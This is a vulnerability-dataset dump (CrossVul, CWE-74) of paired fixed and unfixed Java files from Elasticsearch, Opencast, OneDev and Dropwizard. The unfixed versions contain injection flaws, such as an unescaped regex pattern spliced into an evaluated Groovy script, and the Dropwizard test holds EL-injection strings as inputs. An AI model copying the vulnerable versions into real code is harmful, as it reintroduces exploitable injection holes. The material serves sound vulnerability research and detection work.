import org.elasticsearch.common.lease.Releasables;
import org.elasticsearch.common.netty.ReleaseChannelFutureListener;
import org.elasticsearch.transport.*;
import org.elasticsearch.transport.support.TransportStatus;
import org.jboss.netty.buffer.ChannelBuffer;
import org.jboss.netty.channel.Channel;
import org.jboss.netty.channel.ChannelFuture;
import java.io.IOException;
import java.io.NotSerializableException;
/**
*
*/
public class NettyTransportChannel implements TransportChannel {
private final NettyTransport transport;
private final TransportServiceAdapter transportServiceAdapter;
private final Version version;
private final String action;
private final Channel channel;
private final long requestId;
private final String profileName;
public NettyTransportChannel(NettyTransport transport, TransportServiceAdapter transportServiceAdapter, String action, Channel channel, long requestId, Version version, String profileName) {
this.transportServiceAdapter = transportServiceAdapter;
this.version = version;
this.transport = transport;
this.action = action;
this.channel = channel;
this.requestId = requestId;
this.profileName = profileName;
}
public String getProfileName() {
return profileName;
}
@Override
public String action() {
return this.action;
}
@Override
public void sendResponse(TransportResponse response) throws IOException {
sendResponse(response, TransportResponseOptions.EMPTY);
}
@Override
public void sendResponse(TransportResponse response, TransportResponseOptions options) throws IOException {
if (transport.compress) {
options.withCompress(true);
}
byte status = 0;
status = TransportStatus.setResponse(status);
ReleasableBytesStreamOutput bStream = new ReleasableBytesStreamOutput(transport.bigArrays);
boolean addedReleaseListener = false;
try {
bStream.skip(NettyHeader.HEADER_SIZE);
StreamOutput stream = bStream;
if (options.compress()) {
status = TransportStatus.setCompress(status);
stream = CompressorFactory.defaultCompressor().streamOutput(stream);
}
stream = new HandlesStreamOutput(stream);
stream.setVersion(version);
response.writeTo(stream);
stream.close();
ReleasableBytesReference bytes = bStream.bytes();
ChannelBuffer buffer = bytes.toChannelBuffer();
NettyHeader.writeHeader(buffer, requestId, status, version);
ChannelFuture future = channel.write(buffer);
ReleaseChannelFutureListener listener = new ReleaseChannelFutureListener(bytes);
future.addListener(listener);
addedReleaseListener = true;
transportServiceAdapter.onResponseSent(requestId, action, response, options);
} finally {
if (!addedReleaseListener) {
Releasables.close(bStream.bytes());
}
}
}
@Override
public void sendResponse(Throwable error) throws IOException {
BytesStreamOutput stream = new BytesStreamOutput();
if (ThrowableObjectOutputStream.canSerialize(error) == false) {
assert false : "Can not serialize exception: " + error; // make sure tests fail
error = new NotSerializableTransportException(error);
}
try {
stream.skip(NettyHeader.HEADER_SIZE);
RemoteTransportException tx = new RemoteTransportException(transport.nodeName(), transport.wrapAddress(channel.getLocalAddress()), action, error);
ThrowableObjectOutputStream too = new ThrowableObjectOutputStream(stream);
too.writeObject(tx);
too.close();
} catch (NotSerializableException e) {
stream.reset();
stream.skip(NettyHeader.HEADER_SIZE);
RemoteTransportException tx = new RemoteTransportException(transport.nodeName(), transport.wrapAddress(channel.getLocalAddress()), action, new NotSerializableTransportException(error));
ThrowableObjectOutputStream too = new ThrowableObjectOutputStream(stream);
too.writeObject(tx);
too.close();
}
byte status = 0;
status = TransportStatus.setResponse(status);
status = TransportStatus.setError(status);
BytesReference bytes = stream.bytes();
ChannelBuffer buffer = bytes.toChannelBuffer();
NettyHeader.writeHeader(buffer, requestId, status, version);
channel.write(buffer);
transportServiceAdapter.onResponseSent(requestId, action, error);
}
/**
* Returns the underlying netty channel. This method is intended be used for access to netty to get additional
* details when processing the request and may be used by plugins. Responses should be sent using the methods
* defined in this class and not directly on the channel.
* @return underlying netty channel
*/
public Channel getChannel() {
return channel;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1678_3
|
crossvul-java_data_bad_1678_3
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.transport.netty;
import org.elasticsearch.Version;
import org.elasticsearch.common.bytes.BytesReference;
import org.elasticsearch.common.bytes.ReleasableBytesReference;
import org.elasticsearch.common.compress.CompressorFactory;
import org.elasticsearch.common.io.ThrowableObjectOutputStream;
import org.elasticsearch.common.io.stream.BytesStreamOutput;
import org.elasticsearch.common.io.stream.HandlesStreamOutput;
import org.elasticsearch.common.io.stream.ReleasableBytesStreamOutput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.common.lease.Releasables;
import org.elasticsearch.common.netty.ReleaseChannelFutureListener;
import org.elasticsearch.transport.*;
import org.elasticsearch.transport.support.TransportStatus;
import org.jboss.netty.buffer.ChannelBuffer;
import org.jboss.netty.channel.Channel;
import org.jboss.netty.channel.ChannelFuture;
import java.io.IOException;
import java.io.NotSerializableException;
/**
*
*/
public class NettyTransportChannel implements TransportChannel {
private final NettyTransport transport;
private final TransportServiceAdapter transportServiceAdapter;
private final Version version;
private final String action;
private final Channel channel;
private final long requestId;
private final String profileName;
public NettyTransportChannel(NettyTransport transport, TransportServiceAdapter transportServiceAdapter, String action, Channel channel, long requestId, Version version, String profileName) {
this.transportServiceAdapter = transportServiceAdapter;
this.version = version;
this.transport = transport;
this.action = action;
this.channel = channel;
this.requestId = requestId;
this.profileName = profileName;
}
public String getProfileName() {
return profileName;
}
@Override
public String action() {
return this.action;
}
@Override
public void sendResponse(TransportResponse response) throws IOException {
sendResponse(response, TransportResponseOptions.EMPTY);
}
@Override
public void sendResponse(TransportResponse response, TransportResponseOptions options) throws IOException {
if (transport.compress) {
options.withCompress(true);
}
byte status = 0;
status = TransportStatus.setResponse(status);
ReleasableBytesStreamOutput bStream = new ReleasableBytesStreamOutput(transport.bigArrays);
boolean addedReleaseListener = false;
try {
bStream.skip(NettyHeader.HEADER_SIZE);
StreamOutput stream = bStream;
if (options.compress()) {
status = TransportStatus.setCompress(status);
stream = CompressorFactory.defaultCompressor().streamOutput(stream);
}
stream = new HandlesStreamOutput(stream);
stream.setVersion(version);
response.writeTo(stream);
stream.close();
ReleasableBytesReference bytes = bStream.bytes();
ChannelBuffer buffer = bytes.toChannelBuffer();
NettyHeader.writeHeader(buffer, requestId, status, version);
ChannelFuture future = channel.write(buffer);
ReleaseChannelFutureListener listener = new ReleaseChannelFutureListener(bytes);
future.addListener(listener);
addedReleaseListener = true;
transportServiceAdapter.onResponseSent(requestId, action, response, options);
} finally {
if (!addedReleaseListener) {
Releasables.close(bStream.bytes());
}
}
}
@Override
public void sendResponse(Throwable error) throws IOException {
BytesStreamOutput stream = new BytesStreamOutput();
try {
stream.skip(NettyHeader.HEADER_SIZE);
RemoteTransportException tx = new RemoteTransportException(transport.nodeName(), transport.wrapAddress(channel.getLocalAddress()), action, error);
ThrowableObjectOutputStream too = new ThrowableObjectOutputStream(stream);
too.writeObject(tx);
too.close();
} catch (NotSerializableException e) {
stream.reset();
stream.skip(NettyHeader.HEADER_SIZE);
RemoteTransportException tx = new RemoteTransportException(transport.nodeName(), transport.wrapAddress(channel.getLocalAddress()), action, new NotSerializableTransportException(error));
ThrowableObjectOutputStream too = new ThrowableObjectOutputStream(stream);
too.writeObject(tx);
too.close();
}
byte status = 0;
status = TransportStatus.setResponse(status);
status = TransportStatus.setError(status);
BytesReference bytes = stream.bytes();
ChannelBuffer buffer = bytes.toChannelBuffer();
NettyHeader.writeHeader(buffer, requestId, status, version);
channel.write(buffer);
transportServiceAdapter.onResponseSent(requestId, action, error);
}
/**
* Returns the underlying netty channel. This method is intended be used for access to netty to get additional
* details when processing the request and may be used by plugins. Responses should be sent using the methods
* defined in this class and not directly on the channel.
* @return underlying netty channel
*/
public Channel getChannel() {
return channel;
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1678_3
|
crossvul-java_data_bad_4533_0
|
/**
* Licensed to The Apereo Foundation under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
*
* The Apereo Foundation licenses this file to you under the Educational
* Community License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of the License
* at:
*
* http://opensource.org/licenses/ecl2.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*
*/
package org.opencastproject.mediapackage.identifier;
import javax.xml.bind.annotation.adapters.XmlAdapter;
import javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter;
/**
* Interface for an identifier.
*/
@XmlJavaTypeAdapter(Id.Adapter.class)
public interface Id {
/**
* Returns the local identifier of this {@link Id}. The local identifier is defined to be free of separator characters
* that could potentially get into the way when creating file or directory names from the identifier.
*
* For example, given that the interface is implemented by a class representing CNRI handles, the identifier would
* then look something like <code>10.3930/ETHZ/abcd</code>, whith <code>10.3930</code> being the handle prefix,
* <code>ETH</code> the authority and <code>abcd</code> the local part. <code>toURI()</code> would then return
* <code>10.3930-ETH-abcd</code> or any other suitable form.
*
* @return a path separator-free representation of the identifier
*/
String compact();
class Adapter extends XmlAdapter<IdImpl, Id> {
public IdImpl marshal(Id id) throws Exception {
if (id instanceof IdImpl) {
return (IdImpl) id;
} else {
throw new IllegalStateException("an unknown ID is un use: " + id);
}
}
public Id unmarshal(IdImpl id) throws Exception {
return id;
}
}
/**
* Return a string representation of the identifier from which an object of type Id should
* be reconstructable.
*/
String toString();
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_4533_0
|
crossvul-java_data_good_4533_0
|
/**
* Licensed to The Apereo Foundation under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
*
* The Apereo Foundation licenses this file to you under the Educational
* Community License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of the License
* at:
*
* http://opensource.org/licenses/ecl2.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*
*/
package org.opencastproject.mediapackage.identifier;
import javax.xml.bind.annotation.adapters.XmlAdapter;
import javax.xml.bind.annotation.adapters.XmlJavaTypeAdapter;
/**
* Interface for an identifier.
*/
@XmlJavaTypeAdapter(Id.Adapter.class)
public interface Id {
/**
* Returns the local identifier of this {@link Id}. The local identifier is defined to be free of separator characters
* that could potentially get into the way when creating file or directory names from the identifier.
*
* For example, given that the interface is implemented by a class representing CNRI handles, the identifier would
* then look something like <code>10.3930/ETHZ/abcd</code>, whith <code>10.3930</code> being the handle prefix,
* <code>ETH</code> the authority and <code>abcd</code> the local part. <code>toURI()</code> would then return
* <code>10.3930-ETH-abcd</code> or any other suitable form.
*
* @return a path separator-free representation of the identifier
*/
@Deprecated
String compact();
class Adapter extends XmlAdapter<IdImpl, Id> {
public IdImpl marshal(Id id) throws Exception {
if (id instanceof IdImpl) {
return (IdImpl) id;
} else {
throw new IllegalStateException("an unknown ID is un use: " + id);
}
}
public Id unmarshal(IdImpl id) throws Exception {
return id;
}
}
/**
* Return a string representation of the identifier from which an object of type Id should
* be reconstructable.
*/
String toString();
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4533_0
|
crossvul-java_data_bad_3891_4
|
package io.dropwizard.validation;
import io.dropwizard.validation.selfvalidating.SelfValidating;
import io.dropwizard.validation.selfvalidating.SelfValidation;
import io.dropwizard.validation.selfvalidating.ViolationCollector;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import uk.org.lidalia.slf4jext.Level;
import uk.org.lidalia.slf4jtest.LoggingEvent;
import uk.org.lidalia.slf4jtest.TestLoggerFactory;
import javax.annotation.concurrent.NotThreadSafe;
import javax.validation.Validator;
import static org.assertj.core.api.Assertions.assertThat;
@NotThreadSafe
public class SelfValidationTest {
private static final String FAILED = "failed";
private static final String FAILED_RESULT = " " + FAILED;
@AfterEach
@BeforeEach
public void clearAllLoggers() {
//this must be a clear all because the validation runs in other threads
TestLoggerFactory.clearAll();
}
@SelfValidating
public static class FailingExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail(ViolationCollector col) {
col.addViolation(FAILED);
}
}
public static class SubclassExample extends FailingExample {
@SuppressWarnings("unused")
@SelfValidation
public void subValidateFail(ViolationCollector col) {
col.addViolation(FAILED + "subclass");
}
}
@SelfValidating
public static class AnnotatedSubclassExample extends FailingExample {
@SuppressWarnings("unused")
@SelfValidation
public void subValidateFail(ViolationCollector col) {
col.addViolation(FAILED + "subclass");
}
}
public static class OverridingExample extends FailingExample {
@Override
public void validateFail(ViolationCollector col) {
}
}
@SelfValidating
public static class DirectContextExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail(ViolationCollector col) {
col.getContext().buildConstraintViolationWithTemplate(FAILED).addConstraintViolation();
col.setViolationOccurred(true);
}
}
@SelfValidating
public static class CorrectExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateCorrect(ViolationCollector col) {
}
}
@SelfValidating
public static class InvalidExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateCorrect(ViolationCollector col) {
}
@SuppressWarnings("unused")
@SelfValidation
public void validateFailAdditionalParameters(ViolationCollector col, int a) {
col.addViolation(FAILED);
}
@SelfValidation
public boolean validateFailReturn(ViolationCollector col) {
col.addViolation(FAILED);
return true;
}
@SelfValidation
private void validateFailPrivate(ViolationCollector col) {
col.addViolation(FAILED);
}
}
@SelfValidating
public static class ComplexExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail1(ViolationCollector col) {
col.addViolation(FAILED + "1");
}
@SuppressWarnings("unused")
@SelfValidation
public void validateFail2(ViolationCollector col) {
col.addViolation("p2", FAILED);
}
@SuppressWarnings("unused")
@SelfValidation
public void validateFail3(ViolationCollector col) {
col.addViolation("p", 3, FAILED);
}
@SuppressWarnings("unused")
@SelfValidation
public void validateFail4(ViolationCollector col) {
col.addViolation("p", "four", FAILED);
}
@SuppressWarnings("unused")
@SelfValidation
public void validateCorrect(ViolationCollector col) {
}
}
@SelfValidating
public static class NoValidations {
}
@SelfValidating
public static class InjectionExample {
@SuppressWarnings("unused")
@SelfValidation
public void validateFail(ViolationCollector col) {
col.addViolation("${'value'}");
col.addViolation("${'property'}", "${'value'}");
col.addViolation("${'property'}", 1, "${'value'}");
col.addViolation("${'property'}", "${'key'}", "${'value'}");
}
}
private final Validator validator = BaseValidator.newValidator();
@Test
public void failingExample() {
assertThat(ConstraintViolations.format(validator.validate(new FailingExample())))
.containsExactlyInAnyOrder(FAILED_RESULT);
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void subClassExample() {
assertThat(ConstraintViolations.format(validator.validate(new SubclassExample())))
.containsExactlyInAnyOrder(
FAILED_RESULT,
FAILED_RESULT + "subclass"
);
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void annotatedSubClassExample() {
assertThat(ConstraintViolations.format(validator.validate(new AnnotatedSubclassExample())))
.containsExactlyInAnyOrder(
FAILED_RESULT,
FAILED_RESULT + "subclass"
);
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void overridingSubClassExample() {
assertThat(ConstraintViolations.format(validator.validate(new OverridingExample())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void correctExample() {
assertThat(ConstraintViolations.format(validator.validate(new CorrectExample())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void multipleTestingOfSameClass() {
assertThat(ConstraintViolations.format(validator.validate(new CorrectExample())))
.isEmpty();
assertThat(ConstraintViolations.format(validator.validate(new CorrectExample())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void testDirectContextUsage() {
assertThat(ConstraintViolations.format(validator.validate(new DirectContextExample())))
.containsExactlyInAnyOrder(FAILED_RESULT);
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void complexExample() {
assertThat(ConstraintViolations.format(validator.validate(new ComplexExample())))
.containsExactly(
" failed1",
"p2 failed",
"p[3] failed",
"p[four] failed");
assertThat(TestLoggerFactory.getAllLoggingEvents())
.isEmpty();
}
@Test
public void invalidExample() throws Exception {
assertThat(ConstraintViolations.format(validator.validate(new InvalidExample())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.containsExactlyInAnyOrder(
new LoggingEvent(
Level.ERROR,
"The method {} is annotated with @SelfValidation but does not have a single parameter of type {}",
InvalidExample.class.getMethod("validateFailAdditionalParameters", ViolationCollector.class, int.class),
ViolationCollector.class
),
new LoggingEvent(
Level.ERROR,
"The method {} is annotated with @SelfValidation but does not return void. It is ignored",
InvalidExample.class.getMethod("validateFailReturn", ViolationCollector.class)
),
new LoggingEvent(
Level.ERROR,
"The method {} is annotated with @SelfValidation but is not public",
InvalidExample.class.getDeclaredMethod("validateFailPrivate", ViolationCollector.class)
)
);
}
@Test
public void giveWarningIfNoValidationMethods() {
assertThat(ConstraintViolations.format(validator.validate(new NoValidations())))
.isEmpty();
assertThat(TestLoggerFactory.getAllLoggingEvents())
.containsExactlyInAnyOrder(
new LoggingEvent(
Level.WARN,
"The class {} is annotated with @SelfValidating but contains no valid methods that are annotated with @SelfValidation",
NoValidations.class
)
);
}
@Test
public void violationMessagesAreEscaped() {
assertThat(ConstraintViolations.format(validator.validate(new InjectionExample()))).containsExactly(
" ${'value'}",
"${'property'} ${'value'}",
"${'property'}[${'key'}] ${'value'}",
"${'property'}[1] ${'value'}"
);
assertThat(TestLoggerFactory.getAllLoggingEvents()).isEmpty();
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_3891_4
|
crossvul-java_data_good_4533_1
|
/**
* Licensed to The Apereo Foundation under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional
* information regarding copyright ownership.
*
*
* The Apereo Foundation licenses this file to you under the Educational
* Community License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of the License
* at:
*
* http://opensource.org/licenses/ecl2.txt
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*
*/
package org.opencastproject.mediapackage.identifier;
import java.util.regex.Pattern;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlType;
import javax.xml.bind.annotation.XmlValue;
/**
* Simple and straightforward implementation of the {@link Id} interface.
*/
@XmlType
@XmlAccessorType(XmlAccessType.NONE)
public class IdImpl implements Id {
private static final Pattern pattern = Pattern.compile("[\\w-_.:;()]+");
/** The identifier */
@XmlValue
protected String id = null;
/**
* Needed for JAXB serialization
*/
public IdImpl() {
}
/**
* Creates a new identifier.
*
* @param id
* the identifier
*/
public IdImpl(final String id) {
if (!pattern.matcher(id).matches()) {
throw new IllegalArgumentException("Id must match " + pattern);
}
this.id = id;
}
/**
* {@inheritDoc}
*
* @see org.opencastproject.mediapackage.identifier.Id#compact()
*/
public String compact() {
return toString();
}
@Override
public String toString() {
return id;
}
/**
* {@inheritDoc}
*
* @see java.lang.Object#equals(java.lang.Object)
*/
@Override
public boolean equals(Object o) {
if (o instanceof IdImpl) {
IdImpl other = (IdImpl) o;
return id != null && other.id != null && id.equals(other.id);
}
return false;
}
/**
* {@inheritDoc}
*
* @see java.lang.Object#hashCode()
*/
@Override
public int hashCode() {
return id.hashCode();
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_4533_1
|
crossvul-java_data_good_1898_0
|
package io.onedev.server.model.support.inputspec;
import java.io.Serializable;
import java.util.Collection;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.annotation.Nullable;
import org.apache.commons.lang.SerializationUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.unbescape.java.JavaEscape;
import com.google.common.collect.Lists;
import io.onedev.server.model.support.inputspec.showcondition.ShowCondition;
import io.onedev.server.util.GroovyUtils;
import io.onedev.server.web.editable.EditableUtils;
import io.onedev.server.web.editable.annotation.Editable;
@Editable
public abstract class InputSpec implements Serializable {
private static final long serialVersionUID = 1L;
private static final Logger logger = LoggerFactory.getLogger(InputSpec.class);
public static final String BOOLEAN = "Checkbox";
public static final String TEXT = "Text";
public static final String DATE = "Date";
public static final String SECRET = "Secret";
public static final String NUMBER = "Number";
public static final String COMMIT = "Commit";
public static final String ENUMERATION = "Enumeration";
public static final String USER = "User";
public static final String GROUP = "Group";
public static final String ISSUE = "Issue";
public static final String BUILD = "Build";
public static final String PULLREQUEST = "Pull request";
private String name;
private String description;
private boolean allowMultiple;
private boolean allowEmpty;
private ShowCondition showCondition;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public boolean isAllowMultiple() {
return allowMultiple;
}
public void setAllowMultiple(boolean allowMultiple) {
this.allowMultiple = allowMultiple;
}
public ShowCondition getShowCondition() {
return showCondition;
}
public void setShowCondition(ShowCondition showCondition) {
this.showCondition = showCondition;
}
public boolean isAllowEmpty() {
return allowEmpty;
}
public void setAllowEmpty(boolean allowEmpty) {
this.allowEmpty = allowEmpty;
}
public List<String> getPossibleValues() {
return Lists.newArrayList();
}
public static String escape(String string) {
String escaped = JavaEscape.escapeJava(string);
// escape $ character since it has special meaning in groovy string
escaped = escaped.replace("$", "\\$");
return escaped;
}
public abstract String getPropertyDef(Map<String, Integer> indexes);
protected String getLiteral(byte[] bytes) {
StringBuffer buffer = new StringBuffer("[");
for (byte eachByte: bytes) {
buffer.append(String.format("%d", eachByte)).append(",");
}
buffer.append("] as byte[]");
return buffer.toString();
}
public void appendField(StringBuffer buffer, int index, String type) {
buffer.append(" private Optional<" + type + "> input" + index + ";\n");
buffer.append("\n");
}
public void appendChoiceProvider(StringBuffer buffer, int index, String annotation) {
buffer.append(" " + annotation + "(\"getInput" + index + "Choices\")\n");
}
public void appendCommonAnnotations(StringBuffer buffer, int index) {
if (description != null) {
buffer.append(" @Editable(name=\"" + escape(name) + "\", description=\"" +
escape(description) + "\", order=" + index + ")\n");
} else {
buffer.append(" @Editable(name=\"" + escape(name) +
"\", order=" + index + ")\n");
}
if (showCondition != null)
buffer.append(" @ShowCondition(\"isInput" + index + "Visible\")\n");
}
private void wrapWithChildContext(StringBuffer buffer, int index, String statement) {
buffer.append(" ComponentContext context = ComponentContext.get();\n");
buffer.append(" if (context != null) {\n");
buffer.append(" ComponentContext childContext = context.getChildContext(\"input" + index + "\");\n");
buffer.append(" if (childContext != null) {\n");
buffer.append(" ComponentContext.push(childContext);\n");
buffer.append(" try {\n");
buffer.append(" " + statement + "\n");
buffer.append(" } finally {\n");
buffer.append(" ComponentContext.pop();\n");
buffer.append(" }\n");
buffer.append(" } else {\n");
buffer.append(" " + statement + "\n");
buffer.append(" }\n");
buffer.append(" } else {\n");
buffer.append(" " + statement + "\n");
buffer.append(" }\n");
}
public void appendMethods(StringBuffer buffer, int index, String type,
@Nullable Serializable choiceProvider, @Nullable Serializable defaultValueProvider) {
String literalBytes = getLiteral(SerializationUtils.serialize(defaultValueProvider));
buffer.append(" public " + type + " getInput" + index + "() {\n");
buffer.append(" if (input" + index + "!=null) {\n");
buffer.append(" return input" + index + ".orNull();\n");
buffer.append(" } else {\n");
if (defaultValueProvider != null) {
wrapWithChildContext(buffer, index, "return SerializationUtils.deserialize(" + literalBytes + ").getDefaultValue();");
} else {
buffer.append(" return null;\n");
}
buffer.append(" }\n");
buffer.append(" }\n");
buffer.append("\n");
buffer.append(" public void setInput" + index + "(" + type + " value) {\n");
buffer.append(" this.input" + index + "=Optional.fromNullable(value);\n");
buffer.append(" }\n");
buffer.append("\n");
if (showCondition != null) {
buffer.append(" private static boolean isInput" + index + "Visible() {\n");
literalBytes = getLiteral(SerializationUtils.serialize(showCondition));
buffer.append(" return SerializationUtils.deserialize(" + literalBytes + ").isVisible();\n");
buffer.append(" }\n");
buffer.append("\n");
}
if (choiceProvider != null) {
buffer.append(" private static List getInput" + index + "Choices() {\n");
literalBytes = getLiteral(SerializationUtils.serialize(choiceProvider));
if (choiceProvider instanceof io.onedev.server.model.support.inputspec.choiceinput.choiceprovider.ChoiceProvider) {
buffer.append(" return new ArrayList(SerializationUtils.deserialize(" + literalBytes + ").getChoices(false).keySet());\n");
} else {
buffer.append(" return SerializationUtils.deserialize(" + literalBytes + ").getChoices(false);\n");
}
buffer.append(" }\n");
buffer.append("\n");
}
}
public static Class<?> defineClass(String className, String description, Collection<? extends InputSpec> inputs) {
StringBuffer buffer = new StringBuffer();
buffer.append("import org.apache.commons.lang3.SerializationUtils;\n");
buffer.append("import com.google.common.base.Optional;\n");
buffer.append("import io.onedev.server.web.editable.annotation.*;\n");
buffer.append("import io.onedev.server.util.validation.annotation.*;\n");
buffer.append("import io.onedev.util.*;\n");
buffer.append("import io.onedev.server.util.*;\n");
buffer.append("import io.onedev.server.util.facade.*;\n");
buffer.append("import java.util.*;\n");
buffer.append("import javax.validation.constraints.*;\n");
buffer.append("import org.hibernate.validator.constraints.*;\n");
buffer.append("\n");
buffer.append("@Editable(name=").append("\"").append(description).append("\")\n");
buffer.append("class " + className + " implements java.io.Serializable {\n");
buffer.append("\n");
buffer.append(" private static final long serialVersionUID = 1L;\n");
buffer.append("\n");
Map<String, Integer> indexes = new HashMap<>();
int index = 1;
for (InputSpec input: inputs)
indexes.put(input.getName(), index++);
for (InputSpec input: inputs)
buffer.append(input.getPropertyDef(indexes));
buffer.append("}\n");
buffer.append("return " + className + ";\n");
logger.trace("Class definition script:\n" + buffer.toString());
return (Class<?>) GroovyUtils.evalScript(buffer.toString(), new HashMap<>());
}
public abstract List<String> convertToStrings(@Nullable Object object);
/**
* Convert list of strings to object
*
* @param strings
* list of strings
* @return
* converted object
*/
@Nullable
public abstract Object convertToObject(List<String> strings);
public long getOrdinal(String fieldValue) {
return -1;
}
public String getType() {
return EditableUtils.getDisplayName(getClass());
}
public boolean checkListElements(Object value, Class<?> elementClass) {
if (value instanceof List) {
for (Object element: (List<?>)value) {
if (element == null || element.getClass() != elementClass)
return false;
}
return true;
} else {
return false;
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/good_1898_0
|
crossvul-java_data_bad_1898_1
|
package io.onedev.server.model.support.inputspec.textinput;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import javax.validation.ValidationException;
import com.google.common.collect.Lists;
import io.onedev.server.model.support.inputspec.InputSpec;
import io.onedev.server.model.support.inputspec.textinput.defaultvalueprovider.DefaultValueProvider;
public class TextInput {
public static String getPropertyDef(InputSpec inputSpec, Map<String, Integer> indexes,
String pattern, DefaultValueProvider defaultValueProvider) {
int index = indexes.get(inputSpec.getName());
StringBuffer buffer = new StringBuffer();
inputSpec.appendField(buffer, index, "String");
inputSpec.appendCommonAnnotations(buffer, index);
if (!inputSpec.isAllowEmpty())
buffer.append(" @NotEmpty\n");
if (pattern != null)
buffer.append(" @Pattern(regexp=\"" + pattern + "\", message=\"Should match regular expression: " + pattern + "\")\n");
inputSpec.appendMethods(buffer, index, "String", null, defaultValueProvider);
return buffer.toString();
}
public static Object convertToObject(List<String> strings) {
if (strings.size() == 0)
return null;
else if (strings.size() == 1)
return strings.iterator().next();
else
throw new ValidationException("Not eligible for multi-value");
}
public static List<String> convertToStrings(Object value) {
if (value instanceof String)
return Lists.newArrayList((String)value);
else
return new ArrayList<>();
}
}
|
./CrossVul/dataset_final_sorted/CWE-74/java/bad_1898_1
|
crossvul-java_data_bad_3891_2
|
package io.dropwizard.validation.selfvalidating;
import com.fasterxml.classmate.AnnotationConfiguration;
import com.fasterxml.classmate.AnnotationInclusion;
import com.fasterxml.classmate.MemberResolver;
import com.fasterxml.classmate.ResolvedTypeWithMembers;
import com.fasterxml.classmate.TypeResolver;
import com.fasterxml.classmate.members.ResolvedMethod;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import java.util.stream.Collectors;
/**
* This class is the base validator for the <code>@SelfValidating</code> annotation. It
* initiates the self validation process on an object, generating wrapping methods to call
* the validation methods efficiently and then calls them.
*/
public class SelfValidatingValidator implements ConstraintValidator<SelfValidating, Object> {
private static final Logger log = LoggerFactory.getLogger(SelfValidatingValidator.class);
@SuppressWarnings("rawtypes")
private final ConcurrentMap<Class<?>, List<ValidationCaller>> methodMap = new ConcurrentHashMap<>();
private final AnnotationConfiguration annotationConfiguration = new AnnotationConfiguration.StdConfiguration(AnnotationInclusion.INCLUDE_AND_INHERIT_IF_INHERITED);
private final TypeResolver typeResolver = new TypeResolver();
private final MemberResolver memberResolver = new MemberResolver(typeResolver);
@Override
public void initialize(SelfValidating constraintAnnotation) {
}
@SuppressWarnings({"unchecked", "rawtypes"})
@Override
public boolean isValid(Object value, ConstraintValidatorContext context) {
final ViolationCollector collector = new ViolationCollector(context);
context.disableDefaultConstraintViolation();
for (ValidationCaller caller : methodMap.computeIfAbsent(value.getClass(), this::findMethods)) {
caller.setValidationObject(value);
caller.call(collector);
}
return !collector.hasViolationOccurred();
}
/**
* This method generates <code>ValidationCaller</code>s for each method annotated
